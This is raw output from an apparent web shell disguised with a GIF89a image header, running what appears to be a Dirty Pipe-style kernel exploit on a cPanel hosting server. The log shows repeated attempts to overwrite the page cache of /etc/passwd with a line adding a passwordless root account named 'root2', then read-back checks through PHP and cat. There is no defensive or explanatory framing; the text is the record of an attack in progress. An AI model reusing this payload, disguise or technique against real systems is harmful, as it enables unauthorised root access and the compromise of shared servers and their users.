GIF89aRunning: /home/dbraure1/tmp/dp '/etc/passwd' 0 'root2::0:0:root2:/root:/bin/sh xxxxx' [*] Target: /etc/passwd [*] Offset: 0 [*] Data len: 36 [*] File size: 1300 [*] Pipe size: 65536 [*] Spliced 1 byte from file [*] Wrote 36 bytes to pipe (overwrites page cache) [*] Done! Page cache of /etc/passwd modified at offset 0. === Read via PHP === cpaneleximfilter:x:991:988::/var/cpanel/userhomes/ === Read via cat === cpaneleximfilter:x:991:988::/var/cpanel/userhomes/cpaneleximfilter:/usr/local/cpanel/bin/noshell === VERIFY: Try overwriting /etc/passwd at offset 0 === [*] Target: /etc/passwd [*] Offset: 0 [*] Data len: 30 [*] File size: 1300 [*] Pipe size: 65536 [*] Spliced 1 byte from file [*] Wrote 30 bytes to pipe (overwrites page cache) [*] Done! Page cache of /etc/passwd modified at offset 0. === Read back (within same PHP process) === cpaneleximfilter:x:991:988::/var/cpanel/userhomes/